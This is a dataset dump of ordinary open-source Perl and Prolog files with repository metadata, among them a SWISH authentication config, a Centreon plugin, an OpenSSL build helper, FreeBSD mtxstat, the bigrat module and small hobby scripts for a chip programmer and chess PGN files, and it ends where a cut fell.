code stringlengths 2 1.05M | repo_name stringlengths 5 101 | path stringlengths 4 991 | language stringclasses 3 values | license stringclasses 5 values | size int64 2 1.05M |
|---|---|---|---|---|---|
:- module(config_http_auth, []).
:- use_module(swish(lib/config), []).
/** <module> Optional HTTP based authentication
Enable optional HTTP based authentication.
Note that lib/authenticate.pl supports both HTTP _basic_ and HTTP
_digest_ login. Please make sure to understand the security issues
involved with using authenticated access. In a nutshell:
- *Basic* authentication should only be used together with HTTPS as
it exposes the user and password on the wire.
- *Digest* authentication uses a challenge/response protocol to avoid
exposing the password and a _nonce_ to avoid steeling a connection
by reusing credentials. The rest of the communication is insecure.
*/
:- multifile swish_config:config/2.
swish_config:config(public_access, true).
:- use_module(swish(lib/plugin/http_authenticate), []).
% Make adding users available from the toplevel
:- use_module(user:swish(lib/plugin/http_authenticate),
[ swish_add_user/3, % +User, +Passwd, +Fields
swish_add_user/1, % +Dict
swish_add_user/0
]).
% Can be set to `basic` when HTTPS is used. Using `basic` saves
% one round trip but requires HTTPS to avoid exchanging the password
% unencrypted.
% :- set_setting_default(swish_authenticate:method, basic).
| TeamSPoon/logicmoo_workspace | packs_web/swish/config-available/auth_http.pl | Perl | mit | 1,311 |
#!/usr/bin/env swipl
:- module(logicmoo_wamcl,[]).
:- reexport(library(wamcl_runtime)).
| TeamSPoon/logicmoo_base | prolog/logicmoo_wamcl.pl | Perl | mit | 91 |
#
# Copyright 2017 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package apps::centreon::local::plugin;
use strict;
use warnings;
use base qw(centreon::plugins::script_simple);
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '0.1';
%{$self->{modes}} = (
'centreon-plugins-version' => 'apps::centreon::local::mode::centreonpluginsversion',
'downtime-trap' => 'apps::centreon::local::mode::downtimetrap',
'metaservice' => 'apps::centreon::local::mode::metaservice',
'retention-broker' => 'apps::centreon::local::mode::retentionbroker',
);
return $self;
}
1;
__END__
=head1 PLUGIN DESCRIPTION
Specific Centreon Indicators.
=cut
| maksimatveev/centreon-plugins | apps/centreon/local/plugin.pm | Perl | apache-2.0 | 1,605 |
#! /usr/bin/env perl
# Copyright 2021 The OpenSSL Project Authors. All Rights Reserved.
#
# Licensed under the Apache License 2.0 (the "License"). You may not use
# this file except in compliance with the License. You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html
use strict;
use warnings;
package OpenSSL::copyright;
sub year_of {
my $file = shift;
return $ENV{'OSSL_COPYRIGHT_YEAR'} if defined $ENV{'OSSL_COPYRIGHT_YEAR'};
# Get the current year. We use that as the default because the other
# common case is that someone unpacked a tarfile and the file dates
# are't properly set on extract.
my $YEAR = [localtime()]->[5] + 1900;
# See if git's available
open my $FH,
"git log -1 --date=format:%Y --format=format:%ad $file 2>/dev/null|"
or return $YEAR;
my $LINE = <$FH>;
close $FH;
chomp($LINE);
$YEAR = $LINE if $LINE;
return $YEAR;
}
sub latest {
my $l = 0;
foreach my $f (@_ ) {
my $y = year_of($f);
$l = $y if $y > $l;
}
return $l
}
1;
| jens-maus/amissl | openssl/util/perl/OpenSSL/copyright.pm | Perl | bsd-3-clause | 1,129 |
#!/usr/bin/perl -Tw
#-
# Copyright (c) 2002 Dag-Erling Coïdan Smørgrav
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer
# in this position and unchanged.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# 3. The name of the author may not be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
# $FreeBSD$
#
use strict;
use Getopt::Std;
sub usage() {
print(STDERR "usage: mtxstat [-gr] [-a|c|m|t] [-l limit]\n");
exit(1);
}
MAIN:{
my %opts; # Command-line options
my $key; # Sort key
my $limit; # Output limit
local *PIPE; # Pipe
my $header; # Header line
my @names; # Field names
my %data; # Mutex data
my @list; # List of entries
getopts("acgl:mrt", \%opts)
or usage();
if ($opts{'a'}) {
usage()
if ($opts{'c'} || $opts{'m'} || $opts{'t'});
$key = 'avg';
} elsif ($opts{'c'}) {
usage()
if ($opts{'m'} || $opts{'t'});
$key = 'count';
} elsif ($opts{'m'}) {
usage()
if ($opts{'t'});
$key = 'max';
} elsif ($opts{'t'}) {
$key = 'total';
}
if ($opts{'l'}) {
if ($opts{'l'} !~ m/^\d+$/) {
usage();
}
$limit = $opts{'l'};
}
$ENV{'PATH'} = '/bin:/sbin:/usr/bin:/usr/sbin';
open(PIPE, "sysctl -n debug.mutex.prof.stats|")
or die("open(): $!\n");
$header = <PIPE>;
chomp($header);
@names = split(' ', $header);
if (defined($key) && !grep(/^$key$/, @names)) {
die("can't find sort key '$key' in header\n");
}
while (<PIPE>) {
chomp();
my @fields = split(' ', $_, @names);
next unless @fields;
my %entry;
foreach (@names) {
$entry{$_} = ($_ eq 'name') ? shift(@fields) : 0.0 + shift(@fields);
}
if ($opts{'g'}) {
$entry{'name'} =~ s/^(\S+)\s+\((.*)\)$/$2/;
}
my $name = $entry{'name'};
if ($data{$name}) {
if ($entry{'max'} > $data{$name}->{'max'}) {
$data{$name}->{'max'} = $entry{'max'};
}
$data{$name}->{'total'} += $entry{'total'};
$data{$name}->{'count'} += $entry{'count'};
$data{$name}->{'avg'} =
$data{$name}->{'total'} / $data{$name}->{'count'};
} else {
$data{$name} = \%entry;
}
}
if (defined($key)) {
@list = sort({ $data{$a}->{$key} <=> $data{$b}->{$key} }
sort(keys(%data)));
} else {
@list = sort(keys(%data));
}
if ($opts{'r'}) {
@list = reverse(@list);
}
print("$header\n");
if ($limit) {
while (@list > $limit) {
pop(@list);
}
}
foreach (@list) {
printf("%6.0f %12.0f %11.0f %5.0f %-40.40s\n",
$data{$_}->{'max'},
$data{$_}->{'total'},
$data{$_}->{'count'},
$data{$_}->{'avg'},
$data{$_}->{'name'});
}
}
| jhbsz/OSI-OS | tools/tools/mtxstat/mtxstat.pl | Perl | bsd-3-clause | 3,853 |
# FIPS assembly language preprocessor
# Renames all symbols in the file to
# their modified fips versions.
my @ARGS = @ARGV;
my $top = shift @ARGS;
my $target = shift @ARGS;
my $runasm = 1;
if ($ARGS[0] eq "norunasm")
{
$runasm = 0;
shift @ARGS;
}
my $enabled = 0;
$enabled = 1 if $ENV{FIPSCANISTERINTERNAL} eq "y";
if ($enabled == 0 && $runasm)
{
system @ARGS;
exit $?
}
# Open symbol rename file.
open(IN, "$top/fips/fipssyms.h") || die "Can't open fipssyms.h";
# Skip to assembler symbols
while (<IN>)
{
last if (/assembler/)
}
# Store all renames [noting minimal length].
my $minlen=0x10000;
while (<IN>)
{
if (/^#define\s+_?(\w+)\s+_?(\w+)\b/)
{
$edits{$1} = $2;
my $len = length($1);
$minlen = $len if ($len<$minlen);
}
}
open(IN,"$target") || die "Can't open $target for reading";
@code = <IN>; # suck in whole file
close IN;
open(OUT,">$target") || die "Can't open $target for writing";
foreach $line (@code)
{
$line =~ s/\b(_?)(\w{$minlen,})\b/$1.($edits{$2} or $2)/geo;
print OUT $line;
}
close OUT;
if ($runasm)
{
# run assembler
system @ARGS;
my $rv = $?;
die "Error executing assembler!" if $rv != 0;
}
| GaloisInc/hacrypto | src/C/openssl/openssl-fips-ecp-2.0.9/util/fipsas.pl | Perl | bsd-3-clause | 1,172 |
###############################################################################
#
# Package: NaturalDocs::Menu::Entry
#
###############################################################################
#
# A class representing an entry in the menu.
#
###############################################################################
# This file is part of Natural Docs, which is Copyright © 2003-2010 Greg Valure
# Natural Docs is licensed under version 3 of the GNU Affero General Public License (AGPL)
# Refer to License.txt for the complete details
use strict;
use integer;
package NaturalDocs::Menu::Entry;
###############################################################################
# Group: Implementation
#
# Constants: Members
#
# The object is implemented as a blessed arrayref with the indexes below.
#
# TYPE - The <MenuEntryType>
# TITLE - The title of the entry.
# TARGET - The target of the entry. If the type is <MENU_FILE>, it will be the source <FileName>. If the type is
# <MENU_LINK>, it will be the URL. If the type is <MENU_GROUP>, it will be an arrayref of
# <NaturalDocs::Menu::Entry> objects representing the group's content. If the type is <MENU_INDEX>, it will be
# a <TopicType>.
# FLAGS - Any <Menu Entry Flags> that apply.
#
use constant TYPE => 0;
use constant TITLE => 1;
use constant TARGET => 2;
use constant FLAGS => 3;
# DEPENDENCY: New() depends on the order of these constants.
###############################################################################
# Group: Functions
#
# Function: New
#
# Creates and returns a new object.
#
# Parameters:
#
# type - The <MenuEntryType>.
# title - The title of the entry.
# target - The target of the entry, if applicable. If the type is <MENU_FILE>, use the source <FileName>. If the type is
# <MENU_LINK>, use the URL. If the type is <MENU_INDEX>, use the <TopicType>. Otherwise set it to undef.
# flags - Any <Menu Entry Flags> that apply.
#
sub New #(type, title, target, flags)
{
# DEPENDENCY: This gode depends on the order of the constants.
my $package = shift;
my $object = [ @_ ];
bless $object, $package;
if ($object->[TYPE] == ::MENU_GROUP())
{ $object->[TARGET] = [ ]; };
if (!defined $object->[FLAGS])
{ $object->[FLAGS] = 0; };
return $object;
};
# Function: Type
# Returns the <MenuEntryType>.
sub Type
{ return $_[0]->[TYPE]; };
# Function: Title
# Returns the title of the entry.
sub Title
{ return $_[0]->[TITLE]; };
# Function: SetTitle
# Replaces the entry's title.
sub SetTitle #(title)
{ $_[0]->[TITLE] = $_[1]; };
#
# Function: Target
#
# Returns the target of the entry, if applicable. If the type is <MENU_FILE>, it returns the source <FileName>. If the type is
# <MENU_LINK>, it returns the URL. If the type is <MENU_INDEX>, it returns the <TopicType>. Otherwise it returns undef.
#
sub Target
{
my $self = shift;
# Group entries are the only time when target won't be undef when it should be.
if ($self->Type() == ::MENU_GROUP())
{ return undef; }
else
{ return $self->[TARGET]; };
};
# Function: SetTarget
# Replaces the entry's target.
sub SetTarget #(target)
{ $_[0]->[TARGET] = $_[1]; };
# Function: Flags
# Returns the <Menu Entry Flags>.
sub Flags
{ return $_[0]->[FLAGS]; };
# Function: SetFlags
# Replaces the <Menu Entry Flags>.
sub SetFlags #(flags)
{ $_[0]->[FLAGS] = $_[1]; };
###############################################################################
# Group: Group Functions
#
# All of these functions assume the type is <MENU_GROUP>. Do *not* call any of these without checking <Type()> first.
#
# Function: GroupContent
#
# Returns an arrayref of <NaturalDocs::Menu::Entry> objects representing the contents of the
# group, or undef otherwise. This arrayref will always exist for <MENU_GROUP>'s and can be changed.
#
sub GroupContent
{
return $_[0]->[TARGET];
};
#
# Function: GroupIsEmpty
#
# If the type is <MENU_GROUP>, returns whether the group is empty.
#
sub GroupIsEmpty
{
my $self = shift;
return (scalar @{$self->GroupContent()} > 0);
};
#
# Function: PushToGroup
#
# Pushes the entry to the end of the group content.
#
sub PushToGroup #(entry)
{
my ($self, $entry) = @_;
push @{$self->GroupContent()}, $entry;
};
#
# Function: DeleteFromGroup
#
# Deletes an entry from the group content by index.
#
sub DeleteFromGroup #(index)
{
my ($self, $index) = @_;
my $groupContent = $self->GroupContent();
splice( @$groupContent, $index, 1 );
};
#
# Function: MarkEndOfOriginal
#
# If the group doesn't already have one, adds a <MENU_ENDOFORIGINAL> entry to the end and sets the
# <MENU_GROUP_HASENDOFORIGINAL> flag.
#
sub MarkEndOfOriginal
{
my $self = shift;
if (($self->Flags() & ::MENU_GROUP_HASENDOFORIGINAL()) == 0)
{
$self->PushToGroup( NaturalDocs::Menu::Entry->New(::MENU_ENDOFORIGINAL(), undef, undef, undef) );
$self->SetFlags( $self->Flags() | ::MENU_GROUP_HASENDOFORIGINAL() );
};
};
1;
| IbpTeam/node-nodegit | vendor/naturaldocs/Modules/NaturalDocs/Menu/Entry.pm | Perl | mit | 5,350 |
package bigrat;
use 5.006;
$VERSION = '0.23';
require Exporter;
@ISA = qw( bigint );
@EXPORT_OK = qw( PI e bpi bexp );
@EXPORT = qw( inf NaN );
use strict;
use overload;
require bigint; # no "use" to avoid callind import
##############################################################################
BEGIN
{
*inf = \&bigint::inf;
*NaN = \&bigint::NaN;
}
# These are all alike, and thus faked by AUTOLOAD
my @faked = qw/round_mode accuracy precision div_scale/;
use vars qw/$VERSION $AUTOLOAD $_lite/; # _lite for testsuite
sub AUTOLOAD
{
my $name = $AUTOLOAD;
$name =~ s/.*:://; # split package
no strict 'refs';
foreach my $n (@faked)
{
if ($n eq $name)
{
*{"bigrat::$name"} = sub
{
my $self = shift;
no strict 'refs';
if (defined $_[0])
{
Math::BigInt->$name($_[0]);
Math::BigFloat->$name($_[0]);
return Math::BigRat->$name($_[0]);
}
return Math::BigInt->$name();
};
return &$name;
}
}
# delayed load of Carp and avoid recursion
require Carp;
Carp::croak ("Can't call bigrat\-\>$name, not a valid method");
}
sub unimport
{
$^H{bigrat} = undef; # no longer in effect
overload::remove_constant('binary','','float','','integer');
}
sub in_effect
{
my $level = shift || 0;
my $hinthash = (caller($level))[10];
$hinthash->{bigrat};
}
#############################################################################
# the following two routines are for Perl 5.9.4 or later and are lexical
sub _hex
{
return CORE::hex($_[0]) unless in_effect(1);
my $i = $_[0];
$i = '0x'.$i unless $i =~ /^0x/;
Math::BigInt->new($i);
}
sub _oct
{
return CORE::oct($_[0]) unless in_effect(1);
my $i = $_[0];
return Math::BigInt->from_oct($i) if $i =~ /^0[0-7]/;
Math::BigInt->new($i);
}
sub import
{
my $self = shift;
# see also bignum->import() for additional comments
$^H{bigrat} = 1; # we are in effect
my ($hex,$oct);
# for newer Perls always override hex() and oct() with a lexical version:
if ($] > 5.009004)
{
$oct = \&_oct;
$hex = \&_hex;
}
# some defaults
my $lib = ''; my $lib_kind = 'try'; my $upgrade = 'Math::BigFloat';
my @import = ( ':constant' ); # drive it w/ constant
my @a = @_; my $l = scalar @_; my $j = 0;
my ($a,$p);
my ($ver,$trace); # version? trace?
for ( my $i = 0; $i < $l ; $i++,$j++ )
{
if ($_[$i] eq 'upgrade')
{
# this causes upgrading
$upgrade = $_[$i+1]; # or undef to disable
my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..."
splice @a, $j, $s; $j -= $s;
}
elsif ($_[$i] =~ /^(l|lib|try|only)$/)
{
# this causes a different low lib to take care...
$lib_kind = $1; $lib_kind = 'lib' if $lib_kind eq 'l';
$lib = $_[$i+1] || '';
my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..."
splice @a, $j, $s; $j -= $s; $i++;
}
elsif ($_[$i] =~ /^(a|accuracy)$/)
{
$a = $_[$i+1];
my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..."
splice @a, $j, $s; $j -= $s; $i++;
}
elsif ($_[$i] =~ /^(p|precision)$/)
{
$p = $_[$i+1];
my $s = 2; $s = 1 if @a-$j < 2; # avoid "can not modify non-existant..."
splice @a, $j, $s; $j -= $s; $i++;
}
elsif ($_[$i] =~ /^(v|version)$/)
{
$ver = 1;
splice @a, $j, 1; $j --;
}
elsif ($_[$i] =~ /^(t|trace)$/)
{
$trace = 1;
splice @a, $j, 1; $j --;
}
elsif ($_[$i] eq 'hex')
{
splice @a, $j, 1; $j --;
$hex = \&bigint::_hex_global;
}
elsif ($_[$i] eq 'oct')
{
splice @a, $j, 1; $j --;
$oct = \&bigint::_oct_global;
}
elsif ($_[$i] !~ /^(PI|e|bpi|bexp)\z/)
{
die ("unknown option $_[$i]");
}
}
my $class;
$_lite = 0; # using M::BI::L ?
if ($trace)
{
require Math::BigInt::Trace; $class = 'Math::BigInt::Trace';
$upgrade = 'Math::BigFloat::Trace';
}
else
{
# see if we can find Math::BigInt::Lite
if (!defined $a && !defined $p) # rounding won't work to well
{
eval 'require Math::BigInt::Lite;';
if ($@ eq '')
{
@import = ( ); # :constant in Lite, not MBI
Math::BigInt::Lite->import( ':constant' );
$_lite= 1; # signal okay
}
}
require Math::BigInt if $_lite == 0; # not already loaded?
$class = 'Math::BigInt'; # regardless of MBIL or not
}
push @import, $lib_kind => $lib if $lib ne '';
# Math::BigInt::Trace or plain Math::BigInt
$class->import(@import, upgrade => $upgrade);
require Math::BigFloat;
Math::BigFloat->import( upgrade => 'Math::BigRat', ':constant' );
require Math::BigRat;
bigrat->accuracy($a) if defined $a;
bigrat->precision($p) if defined $p;
if ($ver)
{
print "bigrat\t\t\t v$VERSION\n";
print "Math::BigInt::Lite\t v$Math::BigInt::Lite::VERSION\n" if $_lite;
print "Math::BigInt\t\t v$Math::BigInt::VERSION";
my $config = Math::BigInt->config();
print " lib => $config->{lib} v$config->{lib_version}\n";
print "Math::BigFloat\t\t v$Math::BigFloat::VERSION\n";
print "Math::BigRat\t\t v$Math::BigRat::VERSION\n";
exit;
}
# Take care of octal/hexadecimal constants
overload::constant binary => sub { bigint::_binary_constant(shift) };
# if another big* was already loaded:
my ($package) = caller();
no strict 'refs';
if (!defined *{"${package}::inf"})
{
$self->export_to_level(1,$self,@a); # export inf and NaN
}
{
no warnings 'redefine';
*CORE::GLOBAL::oct = $oct if $oct;
*CORE::GLOBAL::hex = $hex if $hex;
}
}
sub PI () { Math::BigFloat->new('3.141592653589793238462643383279502884197'); }
sub e () { Math::BigFloat->new('2.718281828459045235360287471352662497757'); }
sub bpi ($) { local $Math::BigFloat::upgrade; Math::BigFloat::bpi(@_); }
sub bexp ($$)
{
local $Math::BigFloat::upgrade;
my $x = Math::BigFloat->new($_[0]); $x->bexp($_[1]);
}
1;
__END__
=head1 NAME
bigrat - Transparent BigNumber/BigRational support for Perl
=head1 SYNOPSIS
use bigrat;
print 2 + 4.5,"\n"; # BigFloat 6.5
print 1/3 + 1/4,"\n"; # produces 7/12
{
no bigrat;
print 1/3,"\n"; # 0.33333...
}
# Note that this will make hex() and oct() be globally overriden:
use bigrat qw/hex oct/;
print hex("0x1234567890123490"),"\n";
print oct("01234567890123490"),"\n";
=head1 DESCRIPTION
All operators (including basic math operations) are overloaded. Integer and
floating-point constants are created as proper BigInts or BigFloats,
respectively.
Other than L<bignum>, this module upgrades to Math::BigRat, meaning that
instead of 2.5 you will get 2+1/2 as output.
=head2 Modules Used
C<bigrat> is just a thin wrapper around various modules of the Math::BigInt
family. Think of it as the head of the family, who runs the shop, and orders
the others to do the work.
The following modules are currently used by bignum:
Math::BigInt::Lite (for speed, and only if it is loadable)
Math::BigInt
Math::BigFloat
Math::BigRat
=head2 Math Library
Math with the numbers is done (by default) by a module called
Math::BigInt::Calc. This is equivalent to saying:
use bigrat lib => 'Calc';
You can change this by using:
use bignum lib => 'GMP';
The following would first try to find Math::BigInt::Foo, then
Math::BigInt::Bar, and when this also fails, revert to Math::BigInt::Calc:
use bigrat lib => 'Foo,Math::BigInt::Bar';
Using C<lib> warns if none of the specified libraries can be found and
L<Math::BigInt> did fall back to one of the default libraries.
To supress this warning, use C<try> instead:
use bignum try => 'GMP';
If you want the code to die instead of falling back, use C<only> instead:
use bignum only => 'GMP';
Please see respective module documentation for further details.
=head2 Sign
The sign is either '+', '-', 'NaN', '+inf' or '-inf'.
A sign of 'NaN' is used to represent the result when input arguments are not
numbers or as a result of 0/0. '+inf' and '-inf' represent plus respectively
minus infinity. You will get '+inf' when dividing a positive number by 0, and
'-inf' when dividing any negative number by 0.
=head2 Methods
Since all numbers are not objects, you can use all functions that are part of
the BigInt or BigFloat API. It is wise to use only the bxxx() notation, and not
the fxxx() notation, though. This makes you independed on the fact that the
underlying object might morph into a different class than BigFloat.
=over 2
=item inf()
A shortcut to return Math::BigInt->binf(). Useful because Perl does not always
handle bareword C<inf> properly.
=item NaN()
A shortcut to return Math::BigInt->bnan(). Useful because Perl does not always
handle bareword C<NaN> properly.
=item e
# perl -Mbigrat=e -wle 'print e'
Returns Euler's number C<e>, aka exp(1).
=item PI
# perl -Mbigrat=PI -wle 'print PI'
Returns PI.
=item bexp()
bexp($power,$accuracy);
Returns Euler's number C<e> raised to the appropriate power, to
the wanted accuracy.
Example:
# perl -Mbigrat=bexp -wle 'print bexp(1,80)'
=item bpi()
bpi($accuracy);
Returns PI to the wanted accuracy.
Example:
# perl -Mbigrat=bpi -wle 'print bpi(80)'
=item upgrade()
Return the class that numbers are upgraded to, is in fact returning
C<$Math::BigInt::upgrade>.
=item in_effect()
use bigrat;
print "in effect\n" if bigrat::in_effect; # true
{
no bigrat;
print "in effect\n" if bigrat::in_effect; # false
}
Returns true or false if C<bigrat> is in effect in the current scope.
This method only works on Perl v5.9.4 or later.
=back
=head2 MATH LIBRARY
Math with the numbers is done (by default) by a module called
=head2 Cavaet
But a warning is in order. When using the following to make a copy of a number,
only a shallow copy will be made.
$x = 9; $y = $x;
$x = $y = 7;
If you want to make a real copy, use the following:
$y = $x->copy();
Using the copy or the original with overloaded math is okay, e.g. the
following work:
$x = 9; $y = $x;
print $x + 1, " ", $y,"\n"; # prints 10 9
but calling any method that modifies the number directly will result in
B<both> the original and the copy being destroyed:
$x = 9; $y = $x;
print $x->badd(1), " ", $y,"\n"; # prints 10 10
$x = 9; $y = $x;
print $x->binc(1), " ", $y,"\n"; # prints 10 10
$x = 9; $y = $x;
print $x->bmul(2), " ", $y,"\n"; # prints 18 18
Using methods that do not modify, but testthe contents works:
$x = 9; $y = $x;
$z = 9 if $x->is_zero(); # works fine
See the documentation about the copy constructor and C<=> in overload, as
well as the documentation in BigInt for further details.
=head2 Options
bignum recognizes some options that can be passed while loading it via use.
The options can (currently) be either a single letter form, or the long form.
The following options exist:
=over 2
=item a or accuracy
This sets the accuracy for all math operations. The argument must be greater
than or equal to zero. See Math::BigInt's bround() function for details.
perl -Mbigrat=a,50 -le 'print sqrt(20)'
Note that setting precision and accurary at the same time is not possible.
=item p or precision
This sets the precision for all math operations. The argument can be any
integer. Negative values mean a fixed number of digits after the dot, while
a positive value rounds to this digit left from the dot. 0 or 1 mean round to
integer. See Math::BigInt's bfround() function for details.
perl -Mbigrat=p,-50 -le 'print sqrt(20)'
Note that setting precision and accurary at the same time is not possible.
=item t or trace
This enables a trace mode and is primarily for debugging bignum or
Math::BigInt/Math::BigFloat.
=item l or lib
Load a different math lib, see L<MATH LIBRARY>.
perl -Mbigrat=l,GMP -e 'print 2 ** 512'
Currently there is no way to specify more than one library on the command
line. This means the following does not work:
perl -Mbignum=l,GMP,Pari -e 'print 2 ** 512'
This will be hopefully fixed soon ;)
=item hex
Override the built-in hex() method with a version that can handle big
integers. Note that under Perl v5.9.4 or ealier, this will be global
and cannot be disabled with "no bigint;".
=item oct
Override the built-in oct() method with a version that can handle big
integers. Note that under Perl v5.9.4 or ealier, this will be global
and cannot be disabled with "no bigint;".
=item v or version
This prints out the name and version of all modules used and then exits.
perl -Mbigrat=v
=back
=head1 CAVAETS
=over 2
=item in_effect()
This method only works on Perl v5.9.4 or later.
=item hex()/oct()
C<bigint> overrides these routines with versions that can also handle
big integer values. Under Perl prior to version v5.9.4, however, this
will not happen unless you specifically ask for it with the two
import tags "hex" and "oct" - and then it will be global and cannot be
disabled inside a scope with "no bigint":
use bigint qw/hex oct/;
print hex("0x1234567890123456");
{
no bigint;
print hex("0x1234567890123456");
}
The second call to hex() will warn about a non-portable constant.
Compare this to:
use bigint;
# will warn only under Perl older than v5.9.4
print hex("0x1234567890123456");
=back
=head1 EXAMPLES
perl -Mbigrat -le 'print sqrt(33)'
perl -Mbigrat -le 'print 2*255'
perl -Mbigrat -le 'print 4.5+2*255'
perl -Mbigrat -le 'print 3/7 + 5/7 + 8/3'
perl -Mbigrat -le 'print 12->is_odd()';
perl -Mbignum=l,GMP -le 'print 7 ** 7777'
=head1 LICENSE
This program is free software; you may redistribute it and/or modify it under
the same terms as Perl itself.
=head1 SEE ALSO
Especially L<bignum>.
L<Math::BigFloat>, L<Math::BigInt>, L<Math::BigRat> and L<Math::Big> as well
as L<Math::BigInt::BitVect>, L<Math::BigInt::Pari> and L<Math::BigInt::GMP>.
=head1 AUTHORS
(C) by Tels L<http://bloodgate.com/> in early 2002 - 2007.
=cut
| leighpauls/k2cro4 | third_party/cygwin/lib/perl5/5.10/bigrat.pm | Perl | bsd-3-clause | 14,442 |
use strict;
while ( $r ) {
printf ( "Example text \n" );
sleep 1;
} | sdottaka/mruby-bin-scite-mruby | tools/scintilla/test/examples/x.pl | Perl | mit | 71 |
use Win32::OLE 'in';
use Math::BigInt;
my $DirectoryName="c:\\emacs"; #experimenteer met andere waarden
my $ShowLevel = 2;
my $WbemServices = Win32::OLE->GetObject("winMgmts://./root/cimv2");
my $Directory = $WbemServices->Get("Win32_Directory='$DirectoryName'");
#Alternatief met een query
my $DirectoryName="c:\\\\emacs"; #vier-dubbele \-tekens
my ($Directory) = (in $WbemServices->ExecQuery("Select * From Win32_Directory Where Name='$DirectoryName'"));
DirectorySize($Directory,$ShowLevel);
sub DirectorySize {
my ($Directory,$Level) = @_;
my $Size = Math::BigInt->new();
my $Query = "ASSOCIATORS OF {Win32_Directory='$Directory->{Name}'} WHERE AssocClass=CIM_DirectoryContainsFile";
$Size += $_->{FileSize} foreach in $WbemServices->ExecQuery($Query);
my $Query = "ASSOCIATORS OF {Win32_Directory='$Directory->{Name}'}
WHERE AssocClass=Win32_SubDirectory Role=GroupComponent";
$Size += DirectorySize($_,$Level-1) foreach in $WbemServices->ExecQuery($Query);
printf "%12s%s%s\n", $Size,("\t" x ($ShowLevel-$Level+1)), $Directory->{Name} if $Level >= 0;
return $Size;
}
| VDBBjorn/Besturingssystemen-III | Labo/reeks4/Reeks4_22.pl | Perl | mit | 1,128 |
#!/usr/bin/perl
# Programmer.pl - Program to feed Intel HEX files produced by SDCC to the nRF24LE1 Arduino
# programmer sketch.
# Copyright (c) 2014 Dean Cording
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
use strict;
use warnings;
use common;
my $port = common::find_port();
if (@ARGV != 1 && !$port) {
print "Usage: $0 <Arduino Serial Port>\n";
exit;
}
# Serial port settings to suit Arduino
print "Using port $port\n";
common::dump_only($port, "i");
| baruch/nRF24LE1_Programmer | ReadInfopage.pl | Perl | mit | 1,492 |
#!/usr/bin/perl
use strict;
use warnings;
if (scalar(@ARGV) != 1 ) {
die "Usage: $0 file.pgn\n";
}
else {
# nothing.
}
my $this_file = shift @ARGV;
my $this_suffix = ".pgn";
if ($this_file =~ /$this_suffix/) {
# nothing.
}
else {
die "File error! Usage: $0 file.pgn\n";
}
#my $sheet = $this_file;
#$sheet =~ s/$this_suffix/\_sheet\.txt/;
#open(SHEET, ">$sheet") or die "error write $sheet\n";
my $this_out = $this_file;
my $add = "_keys";
$this_out =~ s/$this_suffix/$add$this_suffix/;
if (-e $this_out) {
# do nothing.
}
else {
open(OUT, ">$this_out") or die "error write $this_out\n";
my $double_this_out = &write_file_with_keys($this_file);
}
exit;
sub write_file_with_keys {
my $file = shift @_;
open(IN, $file) or die "error read $file\n";
my $out = $file;
my $suffix = ".pgn";
my $add = "_keys";
$out =~ s/$suffix/$add$suffix/;
open(OUT, ">$out") or die "error write $out\n";
my $FirstTag = "Event ";
my $Key = 0;
my $KeyStart = "[Key = ";
my $KeyEnd = "]";
while(<IN>) {
chomp;
if (/$FirstTag/) {
$Key++;
print OUT $KeyStart.$Key.$KeyEnd."\n$_\n";
}
else {
print OUT "$_\n";
}
}
close(IN);
close(OUT);
return $out;
}
| testviking/chess-material-search | bin/create_keys_file.pl | Perl | mit | 1,177 |
package Svg::File;
require 5.000;
